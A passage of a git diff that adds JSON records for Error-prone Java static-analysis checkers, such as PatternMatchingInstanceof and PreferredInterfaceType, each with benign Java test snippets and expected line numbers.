"description": "varargsWrongNameAndWrongFormat", + "expected-problems": null, + "expected-linenumbers": [ + 850 + ], + "code": "class Test {\n void foo(int... args) {}\n\n void bar() {\n // BUG: Diagnostic contains: /* args...= */\n // /* argh */\n foo(/* argh= */ 1, 2);\n }\n }" + }, + { + "description": "varargsCommentNotAllowedOnNormalArg", + "expected-problems": null, + "expected-linenumbers": [ + 869 + ], + "code": "class Test {\n void foo(int i) {}\n\n void bar() {\n // BUG: Diagnostic contains: /* i= */\n foo(/* i...= */ 1);\n }\n }" + }, + { + "description": "varargsSeparateCompilation", + "expected-problems": null, + "expected-linenumbers": [ + 895 + ], + "code": "" + }, + { + "description": "exemptPackage", + "expected-problems": null, + "expected-linenumbers": [ + 910 + ], + "code": "package test.a;\n\n public class A {\n public static void f(int value) {}\n }\n \n\n package test.b.nested;\n\n public class B {\n public static void f(int value) {}\n }\n \n\n package test.c;\n\n public class C {\n public static void f(int value) {}\n }\n \n\n import test.a.A;\n import test.b.nested.B;\n import test.c.C;\n\n class Test {\n void f() {\n A.f(/* typo= */ 1);\n B.f(/* typo= */ 1);\n // BUG: Diagnostic contains: 'C.f(/* value= */ 1);'\n C.f(/* typo= */ 1);\n }\n }" + }, + { + "description": "nonCanonicalMockitoImport", + "expected-problems": null, + "expected-linenumbers": [ + 960 + ], + "code": "package test.a;\n\n import static org.mockito.Mockito.eq;\n\n public class A {\n // BUG: Diagnostic contains:\n Object x = eq(/* notValue= */ 1);\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ParametersButNotParameterized.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ParametersButNotParameterized.json new file mode 100644 index 0000000..4e8d7ac --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ParametersButNotParameterized.json @@ -0,0 +1,38 @@ +{ + "name": "ParametersButNotParameterized", + "language": "java", + "description": "This test has @Parameters but is using the default JUnit4 runner. The parameters will have no effect.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 58, + "branches": 3, + "apis": 2, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n import org.junit.runners.Parameterized.Parameter;\n\n @RunWith(JUnit4.class)\n public class Test {\n @Parameter public int foo;\n }\n \n\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n import org.junit.runners.Parameterized;\n import org.junit.runners.Parameterized.Parameter;\n\n @RunWith(Parameterized.class)\n public class Test {\n @Parameter public int foo;\n }" + }, + { + "description": "alreadyParameterized_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 64 + ], + "code": "import org.junit.runner.RunWith;\n import org.junit.runners.Parameterized;\n import org.junit.runners.Parameterized.Parameter;\n\n @RunWith(Parameterized.class)\n public class Test {\n @Parameter public int foo;\n }" + }, + { + "description": "noParameters_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 82 + ], + "code": "import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public class Test {}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PatternMatchingInstanceof.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PatternMatchingInstanceof.json new file mode 100644 index 0000000..98749a3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PatternMatchingInstanceof.json @@ -0,0 +1,262 @@ +{ + "name": "PatternMatchingInstanceof", + "language": "java", + "description": "This code can be simplified to use a pattern-matching instanceof.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 265, + "branches": 35, + "apis": 3, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "class Test {\n void test(Object o) {\n if (o instanceof Test) {\n Test test = (Test) o;\n test(test);\n }\n }\n }\n \n\n class Test {\n void test(Object o) {\n if (o instanceof Test test) {\n test(test);\n }\n }\n }" + }, + { + "description": "seesThroughParens", + "expected-problems": null, + "expected-linenumbers": [ + 60 + ], + "code": "class Test {\n void test(Object o) {\n if (o instanceof Test) {\n Test test = ((((Test) o)));\n test(test);\n }\n }\n }\n \n\n class Test {\n void test(Object o) {\n if (o instanceof Test test) {\n test(test);\n }\n }\n }" + }, + { + "description": "negatedIf", + "expected-problems": null, + "expected-linenumbers": [ + 89 + ], + "code": "class Test {\n void test(Object o) {\n if (!(o instanceof Test)) {\n } else {\n Test test = (Test) o;\n test(test);\n }\n }\n }\n \n\n class Test {\n void test(Object o) {\n if (!(o instanceof Test test)) {\n } else {\n test(test);\n }\n }\n }" + }, + { + "description": "withinIf_elseCannotCompleteNormally_variableInScopeForStatementsAfter", + "expected-problems": null, + "expected-linenumbers": [ + 120 + ], + "code": "class Test {\n void test(Object o) {\n if (o instanceof Test) {\n } else if (true) {\n throw new AssertionError();\n } else {\n return;\n }\n Test test = (Test) o;\n test(test);\n }\n }\n \n\n class Test {\n void test(Object o) {\n if (o instanceof Test test) {\n } else if (true) {\n throw new AssertionError();\n } else {\n return;\n }\n test(test);\n }\n }" + }, + { + "description": "negatedIf_withOrs", + "expected-problems": null, + "expected-linenumbers": [ + 157 + ], + "code": "class Test {\n void test(Object o) {\n if (!(o instanceof Test) || o.hashCode() == 0) {\n return;\n }\n Test test = (Test) o;\n test(test);\n }\n }\n \n\n class Test {\n void test(Object o) {\n if (!(o instanceof Test test) || o.hashCode() == 0) {\n return;\n }\n test(test);\n }\n }" + }, + { + "description": "negatedIfWithReturn", + "expected-problems": null, + "expected-linenumbers": [ + 188 + ], + "code": "class Test {\n void test(Object o) {\n if (!(o instanceof Test)) {\n return;\n }\n Test test = (Test) o;\n test(test);\n }\n }\n \n\n class Test {\n void test(Object o) {\n if (!(o instanceof Test test)) {\n return;\n }\n test(test);\n }\n }" + }, + { + "description": "negatedIf_butNoDefiniteReturn_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 219 + ], + "code": "class Test {\n void test(Object o) {\n if (!(o instanceof Test)) {\n test(o);\n }\n Test test = (Test) o;\n test(test);\n }\n }" + }, + { + "description": "notDefinitelyChecked_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 239 + ], + "code": "class Test {\n void test(Object o) {\n if (o instanceof Test || o.hashCode() > 0) {\n Test test = (Test) o;\n test(test);\n }\n }\n }" + }, + { + "description": "moreChecksInIf_stillMatches", + "expected-problems": null, + "expected-linenumbers": [ + 258 + ], + "code": "class Test {\n void test(Object o) {\n if (o instanceof Test && o.hashCode() != 1) {\n Test test = (Test) o;\n test(test);\n }\n }\n }\n \n\n class Test {\n void test(Object o) {\n if (o instanceof Test test && o.hashCode() != 1) {\n test(test);\n }\n }\n }" + }, + { + "description": "differentTypeToCheck_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 287 + ], + "code": "class Test {\n void test(Object o) {\n if (o instanceof Test) {\n Integer test = (Integer) o;\n test(test);\n }\n }\n }" + }, + { + "description": "noInstanceofAtAll_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 306 + ], + "code": "class Test {\n void test(Object o) {\n if (o.hashCode() > 0) {\n Integer test = (Integer) o;\n test(test);\n }\n }\n }" + }, + { + "description": "differentVariable", + "expected-problems": null, + "expected-linenumbers": [ + 325 + ], + "code": "class Test {\n void test(Object x, Object y) {\n if (x instanceof Test) {\n Test test = (Test) y;\n test(test, null);\n }\n }\n }" + }, + { + "description": "generic", + "expected-problems": null, + "expected-linenumbers": [ + 344 + ], + "code": "import java.util.Map;\n\n class Test {\n void test(Object x, String k) {\n if (x instanceof Map) {\n @SuppressWarnings(\"unchecked\")\n Map m = (Map) x;\n System.err.println(m.get(k));\n }\n }\n }" + }, + { + "description": "notImmediatelyAssignedToVariable", + "expected-problems": null, + "expected-linenumbers": [ + 366 + ], + "code": "class Test {\n void test(Object o) {\n if (o instanceof Test) {\n test((Test) o);\n test(((Test) o).hashCode());\n }\n }\n }\n \n\n class Test {\n void test(Object o) {\n if (o instanceof Test test) {\n test(test);\n test(test.hashCode());\n }\n }\n }" + }, + { + "description": "primitiveType_shortNameChosen", + "expected-problems": null, + "expected-linenumbers": [ + 396 + ], + "code": "class Test {\n void test(Object o) {\n if (o instanceof Long) {\n test((Long) o);\n test(((Long) o).hashCode());\n }\n }\n }\n \n\n class Test {\n void test(Object o) {\n if (o instanceof Long l) {\n test(l);\n test(l.hashCode());\n }\n }\n }" + }, + { + "description": "rawType_findingAvoided", + "expected-problems": null, + "expected-linenumbers": [ + 426 + ], + "code": "import java.util.List;\n\n class Test {\n void test(Object object) {\n if (object instanceof List) {\n @SuppressWarnings(\"unchecked\")\n List xs = (List) object;\n }\n }\n }" + }, + { + "description": "javaKeyword_break", + "expected-problems": null, + "expected-linenumbers": [ + 447 + ], + "code": "class Break {\n void test(Object o) {\n if (o instanceof Break) {\n test((Break) o);\n }\n }\n }\n \n\n class Break {\n void test(Object o) {\n if (o instanceof Break b) {\n test(b);\n }\n }\n }" + }, + { + "description": "javaKeyword_class", + "expected-problems": null, + "expected-linenumbers": [ + 475 + ], + "code": "class Class {\n void test(Object o) {\n if (o instanceof Class) {\n test((Class) o);\n }\n }\n }\n \n\n class Class {\n void test(Object o) {\n if (o instanceof Class c) {\n test(c);\n }\n }\n }" + }, + { + "description": "recordPatternMatching", + "expected-problems": null, + "expected-linenumbers": [ + 503 + ], + "code": "record Foo(int x, int y) {}\n \n\n class Test {\n void test(Object o) {\n // No finding here, but also no crash.\n if (o instanceof Foo(int x, int y)) {}\n }\n }" + }, + { + "description": "newVariableNotInstantlyAssigned_pleasantFix", + "expected-problems": null, + "expected-linenumbers": [ + 528 + ], + "code": "class Test {\n void test(Object o) {\n if (o instanceof Test) {\n test((Test) o);\n Test test = (Test) o;\n test(test);\n }\n }\n }\n \n\n class Test {\n void test(Object o) {\n if (o instanceof Test test) {\n test(test);\n test(test);\n }\n }\n }" + }, + { + "description": "reassignedWithinScope_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 559 + ], + "code": "class Test {\n public void foo(Object o) {\n if (o instanceof String) {\n while (((String) o).hashCode() != 0) {\n o = o.toString();\n }\n }\n }\n }" + }, + { + "description": "withinStatement", + "expected-problems": null, + "expected-linenumbers": [ + 579 + ], + "code": "class Test {\n private final int x = 0;\n private final int y = 1;\n\n @Override\n public boolean equals(Object o) {\n return o instanceof Test && ((Test) o).x == this.x && ((Test) o).y == this.y;\n }\n }\n \n\n class Test {\n private final int x = 0;\n private final int y = 1;\n\n @Override\n public boolean equals(Object o) {\n return o instanceof Test test && test.x == this.x && test.y == this.y;\n }\n }" + }, + { + "description": "withinIfCondition_andUsedAfter", + "expected-problems": null, + "expected-linenumbers": [ + 611 + ], + "code": "class Test {\n private final int x = 0;\n private final int y = 1;\n\n @Override\n public boolean equals(Object o) {\n if (!(o instanceof Test) || ((Test) o).x != this.x) {\n return false;\n }\n Test other = (Test) o;\n return other.y == this.y;\n }\n }\n \n\n class Test {\n private final int x = 0;\n private final int y = 1;\n\n @Override\n public boolean equals(Object o) {\n if (!(o instanceof Test other) || other.x != this.x) {\n return false;\n }\n return other.y == this.y;\n }\n }" + }, + { + "description": "conditionalExpression", + "expected-problems": null, + "expected-linenumbers": [ + 650 + ], + "code": "class Test {\n private String val;\n\n public String stringify(Object o) {\n return o instanceof Test ? ((Test) o).val : \"not a test\";\n }\n }\n \n\n class Test {\n private String val;\n\n public String stringify(Object o) {\n return o instanceof Test test ? test.val : \"not a test\";\n }\n }" + }, + { + "description": "conditionalExpression_negated", + "expected-problems": null, + "expected-linenumbers": [ + 678 + ], + "code": "class Test {\n private String val;\n\n public String stringify(Object o) {\n return !(o instanceof Test) ? \"not a test\" : ((Test) o).val;\n }\n }\n \n\n class Test {\n private String val;\n\n public String stringify(Object o) {\n return !(o instanceof Test test) ? \"not a test\" : test.val;\n }\n }" + }, + { + "description": "generics_includeWildcards", + "expected-problems": null, + "expected-linenumbers": [ + 706 + ], + "code": "class Test {\n private String val;\n\n public String stringify(Object o) {\n return !(o instanceof Test) ? \"not a test\" : ((Test) o).val;\n }\n }\n \n\n class Test {\n private String val;\n\n public String stringify(Object o) {\n return !(o instanceof Test test) ? \"not a test\" : test.val;\n }\n }" + }, + { + "description": "returnTarget", + "expected-problems": null, + "expected-linenumbers": [ + 734 + ], + "code": "class Test {\n private String val;\n\n public Class stringify(Object o) {\n if (o instanceof Class) {\n return (Class) o;\n }\n return null;\n }\n }" + }, + { + "description": "switchExpression", + "expected-problems": null, + "expected-linenumbers": [ + 755 + ], + "code": "class T {\n interface Filter {\n Object child();\n }\n\n int f(Object o) {\n return switch (o) {\n case Filter filter -> {\n if (!(filter.child() instanceof Integer)) {\n yield 0;\n }\n yield 1;\n }\n default -> 2;\n };\n }\n }" + }, + { + "description": "constantExpression", + "expected-problems": null, + "expected-linenumbers": [ + 784 + ], + "code": "import com.google.common.collect.ImmutableList;\n\n class Test {\n int f(ImmutableList xs) {\n if (xs.get(0) instanceof Integer) {\n return (Integer) xs.get(0);\n }\n return 0;\n }\n }\n \n\n import com.google.common.collect.ImmutableList;\n\n class Test {\n int f(ImmutableList xs) {\n if (xs.get(0) instanceof Integer i) {\n return i;\n }\n return 0;\n }\n }" + }, + { + "description": "nonFinalIdentifier", + "expected-problems": null, + "expected-linenumbers": [ + 818 + ], + "code": "import com.google.common.collect.ImmutableList;\n\n class Test {\n String f(Object o) {\n o = o.toString();\n if (o instanceof String) {\n return (String) o;\n }\n return null;\n }\n }" + }, + { + "description": "castToSupertypeOfInstanceofCheck_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 909 + ], + "code": "import java.nio.file.Path;\n import java.util.ArrayList;\n\n public class Test {\n void superinterface() {\n Object o = Path.of(\".\");\n if (o instanceof Path) {\n f((Iterable) o);\n }\n }\n\n void f(Comparable c) {}\n\n void f(Iterable c) {}\n\n void f(Path p) {}\n\n void rawtypes() {\n Object o = new ArrayList();\n if (o instanceof ArrayList) {\n @SuppressWarnings(\"rawtypes\")\n ArrayList list = (ArrayList) o;\n rawTypeNecessary(list);\n }\n }\n\n void rawTypeNecessary(ArrayList l) {}\n }\n \n\n import java.nio.file.Path;\n import java.util.ArrayList;\n\n public class Test {\n void superinterface() {\n Object o = Path.of(\".\");\n if (o instanceof Path) {\n f((Iterable) o);\n }\n }\n\n void f(Comparable c) {}\n\n void f(Iterable c) {}\n\n void f(Path p) {}\n\n void rawtypes() {\n Object o = new ArrayList();\n if (o instanceof ArrayList) {\n @SuppressWarnings(\"rawtypes\")\n ArrayList list = (ArrayList) o;\n rawTypeNecessary(list);\n }\n }\n\n void rawTypeNecessary(ArrayList l) {}\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PreconditionsCheckNotNullRepeated.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PreconditionsCheckNotNullRepeated.json new file mode 100644 index 0000000..f8355d6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PreconditionsCheckNotNullRepeated.json @@ -0,0 +1,38 @@ +{ + "name": "PreconditionsCheckNotNullRepeated", + "language": "java", + "description": "Including the first argument of checkNotNull in the failure message is not useful, as it will always be `null`.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 77, + "branches": 8, + "apis": 1, + "test": [ + { + "description": "positiveMatchesWithReplacement", + "expected-problems": null, + "expected-linenumbers": [ + 39 + ], + "code": "import static com.google.common.base.Preconditions.checkNotNull;\n import com.google.common.base.Preconditions;\n\n public class Test {\n public void error() {\n Object someObject = new Object();\n Preconditions.checkNotNull(someObject, someObject);\n checkNotNull(someObject, someObject);\n }\n }\n \n\n import static com.google.common.base.Preconditions.checkNotNull;\n import com.google.common.base.Preconditions;\n\n public class Test {\n public void error() {\n Object someObject = new Object();\n Preconditions.checkNotNull(someObject, \"someObject must not be null\");\n checkNotNull(someObject, \"someObject must not be null\");\n }\n }" + }, + { + "description": "flagArgInVarargs", + "expected-problems": null, + "expected-linenumbers": [ + 73 + ], + "code": "import static com.google.common.base.Preconditions.checkNotNull;\n import com.google.common.base.Preconditions;\n\n public class Test {\n public void notError() {\n Object obj = new Object();\n Preconditions.checkNotNull(\n obj,\n \"%s must not be null\",\n // BUG: Diagnostic contains: Including `obj` in the failure message\n obj);\n String s = \"test string\";\n // BUG: Diagnostic contains: PreconditionsCheckNotNullRepeated\n Preconditions.checkNotNull(s, s, s);\n }\n }" + }, + { + "description": "negativeCases", + "expected-problems": null, + "expected-linenumbers": [ + 99 + ], + "code": "import static com.google.common.base.Preconditions.checkNotNull;\n import com.google.common.base.Preconditions;\n\n public class Test {\n public void notError() {\n Object obj = new Object();\n Preconditions.checkNotNull(obj);\n Preconditions.checkNotNull(obj, \"obj\");\n Preconditions.checkNotNull(obj, \"check with message\");\n Preconditions.checkNotNull(obj, \"check with msg and an arg %s\", new Object());\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PreconditionsInvalidPlaceholder.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PreconditionsInvalidPlaceholder.json new file mode 100644 index 0000000..c4b2fec --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PreconditionsInvalidPlaceholder.json @@ -0,0 +1,30 @@ +{ + "name": "PreconditionsInvalidPlaceholder", + "language": "java", + "description": "Preconditions only accepts the %s placeholder in error message strings", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 105, + "branches": 8, + "apis": 2, + "test": [ + { + "description": "positiveCase1", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import static com.google.common.base.Preconditions.checkArgument;\n\n import com.google.common.base.Preconditions;\n import com.google.common.base.Verify;\n\n public class PreconditionsInvalidPlaceholderPositiveCase1 {\n int foo;\n\n public void checkPositive(int x) {\n // BUG: Diagnostic contains: %s > 0\n checkArgument(x > 0, \"%d > 0\", x);\n }\n\n public void checkFoo() {\n // BUG: Diagnostic contains: foo must be equal to 0 but was %s\n Preconditions.checkState(foo == 0, \"foo must be equal to 0 but was {0}\", foo);\n }\n\n public void verifyFoo(int x) {\n // BUG: Diagnostic contains:\n Verify.verify(x > 0, \"%d > 0\", x);\n }\n }\\" + }, + { + "description": "negativeCase1", + "expected-problems": null, + "expected-linenumbers": [ + 67 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport static com.google.common.base.Preconditions.checkArgument;\n\nimport com.google.common.base.Preconditions;\n\npublic class PreconditionsInvalidPlaceholderNegativeCase1 {\n Integer foo;\n\n public void checkPositive(int x) {\n checkArgument(x > 0, \"%s > 0\", x);\n }\n\n public void checkTooFewArgs(int x) {\n checkArgument(x > 0, \"%s %s\", x);\n }\n\n public void checkFoo() {\n Preconditions.checkState(foo.intValue() == 0, \"foo must be equal to 0 but was %s\", foo);\n }\n\n public static void checkNotNull(Object foo, String bar, Object baz) {}\n\n public void checkSelf() {\n checkNotNull(foo, \"Foo\", this);\n }\n}\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PreferInstanceofOverGetKind.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PreferInstanceofOverGetKind.json new file mode 100644 index 0000000..a51c855 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PreferInstanceofOverGetKind.json @@ -0,0 +1,62 @@ +{ + "name": "PreferInstanceofOverGetKind", + "language": "java", + "description": "Prefer instanceof over getKind() checks where possible, as these work well with pattern matching instanceofs", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 133, + "branches": 9, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "import com.sun.source.tree.Tree;\n\n class Test {\n boolean isMemberSelect(Tree tree) {\n return tree.getKind() == Tree.Kind.MEMBER_SELECT;\n }\n }\n \n\n import com.sun.source.tree.MemberSelectTree;\n import com.sun.source.tree.Tree;\n\n class Test {\n boolean isMemberSelect(Tree tree) {\n return tree instanceof MemberSelectTree;\n }\n }" + }, + { + "description": "instanceEquals", + "expected-problems": null, + "expected-linenumbers": [ + 58 + ], + "code": "import com.sun.source.tree.Tree;\n\n class Test {\n boolean isMemberSelect(Tree tree) {\n return tree.getKind().equals(Tree.Kind.MEMBER_SELECT);\n }\n }\n \n\n import com.sun.source.tree.MemberSelectTree;\n import com.sun.source.tree.Tree;\n\n class Test {\n boolean isMemberSelect(Tree tree) {\n return tree instanceof MemberSelectTree;\n }\n }" + }, + { + "description": "instanceEquals_negated", + "expected-problems": null, + "expected-linenumbers": [ + 87 + ], + "code": "import com.sun.source.tree.Tree;\n\n class Test {\n boolean isMemberSelect(Tree tree) {\n return !tree.getKind().equals(Tree.Kind.MEMBER_SELECT);\n }\n }\n \n\n import com.sun.source.tree.MemberSelectTree;\n import com.sun.source.tree.Tree;\n\n class Test {\n boolean isMemberSelect(Tree tree) {\n return !(tree instanceof MemberSelectTree);\n }\n }" + }, + { + "description": "negated", + "expected-problems": null, + "expected-linenumbers": [ + 116 + ], + "code": "import com.sun.source.tree.Tree;\n\n class Test {\n boolean isMemberSelect(Tree tree) {\n return tree.getKind() != Tree.Kind.MEMBER_SELECT;\n }\n }\n \n\n import com.sun.source.tree.MemberSelectTree;\n import com.sun.source.tree.Tree;\n\n class Test {\n boolean isMemberSelect(Tree tree) {\n return !(tree instanceof MemberSelectTree);\n }\n }" + }, + { + "description": "multipleResolveToBinaryTree_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 145 + ], + "code": "import com.sun.source.tree.Tree;\n\n class Test {\n boolean isMemberSelect(Tree tree) {\n return tree.getKind() == Tree.Kind.EQUAL_TO;\n }\n }" + }, + { + "description": "comparedToWrongType_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 163 + ], + "code": "import com.sun.source.tree.Tree;\n\n class Test {\n boolean isWrongType(Tree tree) {\n return tree.getKind().equals(1);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PreferredInterfaceType.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PreferredInterfaceType.json new file mode 100644 index 0000000..87d0235 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PreferredInterfaceType.json @@ -0,0 +1,438 @@ +{ + "name": "PreferredInterfaceType", + "language": "java", + "description": "This type can be more specific.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 310, + "branches": 17, + "apis": 5, + "test": [ + { + "description": "assigned", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "import com.google.common.graph.Graph;\n import com.google.common.graph.GraphBuilder;\n import com.google.common.graph.ImmutableGraph;\n import java.util.ArrayList;\n import java.util.List;\n\n class Test {\n private static final Iterable FOO = new ArrayList<>();\n public static final Iterable BAR = new ArrayList<>();\n public static final Iterable RAW = new ArrayList<>();\n public static final Graph GRAPH =\n ImmutableGraph.copyOf(GraphBuilder.undirected().build());\n }\n \n\n import com.google.common.graph.Graph;\n import com.google.common.graph.GraphBuilder;\n import com.google.common.graph.ImmutableGraph;\n import java.util.ArrayList;\n import java.util.List;\n\n class Test {\n private static final List FOO = new ArrayList<>();\n public static final List BAR = new ArrayList<>();\n public static final List RAW = new ArrayList<>();\n public static final ImmutableGraph GRAPH =\n ImmutableGraph.copyOf(GraphBuilder.undirected().build());\n }" + }, + { + "description": "assignedMultipleTypesCompatibleWithSuper", + "expected-problems": null, + "expected-linenumbers": [ + 73 + ], + "code": "import java.util.ArrayList;\n import java.util.Collection;\n import java.util.HashSet;\n\n class Test {\n void test() {\n Collection foo = new ArrayList<>();\n foo = new HashSet<>();\n }\n }" + }, + { + "description": "referringToCollectionAsIterable_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 93 + ], + "code": "import java.util.Collection;\n import java.util.HashSet;\n\n class Test {\n Collection test() {\n Iterable foo = test();\n return null;\n }\n }" + }, + { + "description": "alreadyTightenedType", + "expected-problems": null, + "expected-linenumbers": [ + 112 + ], + "code": "import java.util.ArrayList;\n import java.util.List;\n\n class Test {\n void test() {\n List foo = new ArrayList<>();\n }\n }" + }, + { + "description": "parameters_notFlagged", + "expected-problems": null, + "expected-linenumbers": [ + 130 + ], + "code": "import java.util.ArrayList;\n import java.util.List;\n\n class Test {\n void test(Iterable xs) {\n xs = new ArrayList<>();\n }\n }" + }, + { + "description": "nonPrivateNonFinalFields_notFlagged", + "expected-problems": null, + "expected-linenumbers": [ + 148 + ], + "code": "import java.util.ArrayList;\n import java.util.List;\n\n class Test {\n Iterable xs;\n\n Test(List xs) {\n this.xs = xs;\n }\n }" + }, + { + "description": "nonFinalButPrivateFields", + "expected-problems": null, + "expected-linenumbers": [ + 168 + ], + "code": "import java.util.ArrayList;\n import java.util.List;\n\n class Test {\n // BUG: Diagnostic contains:\n private Iterable xs;\n\n void test(List xs) {\n this.xs = xs;\n }\n }" + }, + { + "description": "nonFinalButFieldInPrivateClass", + "expected-problems": null, + "expected-linenumbers": [ + 189 + ], + "code": "import java.util.ArrayList;\n import java.util.List;\n\n class Test {\n private static class Inner {\n // BUG: Diagnostic contains:\n Iterable xs;\n\n void test(List xs) {\n this.xs = xs;\n }\n }\n }" + }, + { + "description": "immutables", + "expected-problems": null, + "expected-linenumbers": [ + 212 + ], + "code": "import com.google.common.collect.ImmutableList;\n import java.util.List;\n\n class Test {\n void test() {\n List foo = ImmutableList.of(1);\n }\n }\n \n\n import com.google.common.collect.ImmutableList;\n import java.util.List;\n\n class Test {\n void test() {\n ImmutableList foo = ImmutableList.of(1);\n }\n }" + }, + { + "description": "immutableMap", + "expected-problems": null, + "expected-linenumbers": [ + 242 + ], + "code": "import com.google.common.collect.ImmutableMap;\n import java.util.Map;\n\n class Test {\n void test() {\n Map foo = ImmutableMap.of(1, 1);\n }\n }\n \n\n import com.google.common.collect.ImmutableMap;\n import java.util.Map;\n\n class Test {\n void test() {\n ImmutableMap foo = ImmutableMap.of(1, 1);\n }\n }" + }, + { + "description": "constructor_doesNotSuggestFix", + "expected-problems": null, + "expected-linenumbers": [ + 272 + ], + "code": "class Test {\n Test() {}\n }" + }, + { + "description": "returnTypeVoid_doesNotSuggestFix", + "expected-problems": null, + "expected-linenumbers": [ + 285 + ], + "code": "class Test {\n void foo() {}\n }" + }, + { + "description": "nonFinalNonPrivateNonStaticMethodInNonFinalClass_doesNotSuggestFix", + "expected-problems": null, + "expected-linenumbers": [ + 298 + ], + "code": "import com.google.common.collect.ImmutableList;\n import java.util.List;\n\n class Test {\n List foo() {\n return ImmutableList.of();\n }\n }" + }, + { + "description": "providesAnnotatedMethod_doesNotSuggestFix", + "expected-problems": null, + "expected-linenumbers": [ + 316 + ], + "code": "import com.google.common.collect.ImmutableList;\n import dagger.Provides;\n import java.util.List;\n\n class Test {\n @Provides\n static List foo() {\n return ImmutableList.of();\n }\n }" + }, + { + "description": "producesAnnotatedMethod_doesNotSuggestFix", + "expected-problems": null, + "expected-linenumbers": [ + 336 + ], + "code": "import com.google.common.collect.ImmutableList;\n import dagger.producers.Produces;\n import java.util.List;\n\n class Test {\n @Produces\n static List foo() {\n return ImmutableList.of();\n }\n }" + }, + { + "description": "nonFinalNonPrivateNonStaticMethodInFinalClass", + "expected-problems": null, + "expected-linenumbers": [ + 356 + ], + "code": "import com.google.common.collect.ImmutableList;\n import java.util.List;\n\n final class Test {\n // BUG: Diagnostic contains: immutable type\n List foo() {\n return ImmutableList.of();\n }\n }" + }, + { + "description": "finalMethodInNonFinalClass", + "expected-problems": null, + "expected-linenumbers": [ + 375 + ], + "code": "import com.google.common.collect.ImmutableList;\n import java.util.List;\n\n class Test {\n // BUG: Diagnostic contains: final ImmutableList foo()\n final List foo() {\n return ImmutableList.of();\n }\n }" + }, + { + "description": "privateMethodInNonFinalClass", + "expected-problems": null, + "expected-linenumbers": [ + 394 + ], + "code": "import com.google.common.collect.ImmutableList;\n import java.util.List;\n\n class Test {\n // BUG: Diagnostic contains: private ImmutableList foo()\n private List foo() {\n return ImmutableList.of();\n }\n }" + }, + { + "description": "staticMethodInNonFinalClass", + "expected-problems": null, + "expected-linenumbers": [ + 413 + ], + "code": "import com.google.common.collect.ImmutableList;\n import java.util.List;\n\n class Test {\n // BUG: Diagnostic contains: static ImmutableList foo()\n static List foo() {\n return ImmutableList.of();\n }\n }" + }, + { + "description": "returnTypeImmutableList_doesNotSuggestFix", + "expected-problems": null, + "expected-linenumbers": [ + 432 + ], + "code": "import com.google.common.collect.ImmutableList;\n import java.util.List;\n\n class Test {\n final ImmutableList foo() {\n return ImmutableList.of();\n }\n }" + }, + { + "description": "returnTypeImmutableCollection_suggestsTighterType", + "expected-problems": null, + "expected-linenumbers": [ + 450 + ], + "code": "import com.google.common.collect.ImmutableCollection;\n import com.google.common.collect.ImmutableList;\n import java.util.List;\n\n class Test {\n // BUG: Diagnostic contains: convey more information\n final ImmutableCollection foo() {\n return ImmutableList.of();\n }\n }" + }, + { + "description": "returnTypeList_singleReturnStatementImmutableList_suggestsImmutableList", + "expected-problems": null, + "expected-linenumbers": [ + 470 + ], + "code": "import com.google.common.collect.ImmutableList;\n import java.util.List;\n\n class Test {\n // BUG: Diagnostic contains: final ImmutableList foo()\n final List foo() {\n return ImmutableList.of();\n }\n }" + }, + { + "description": 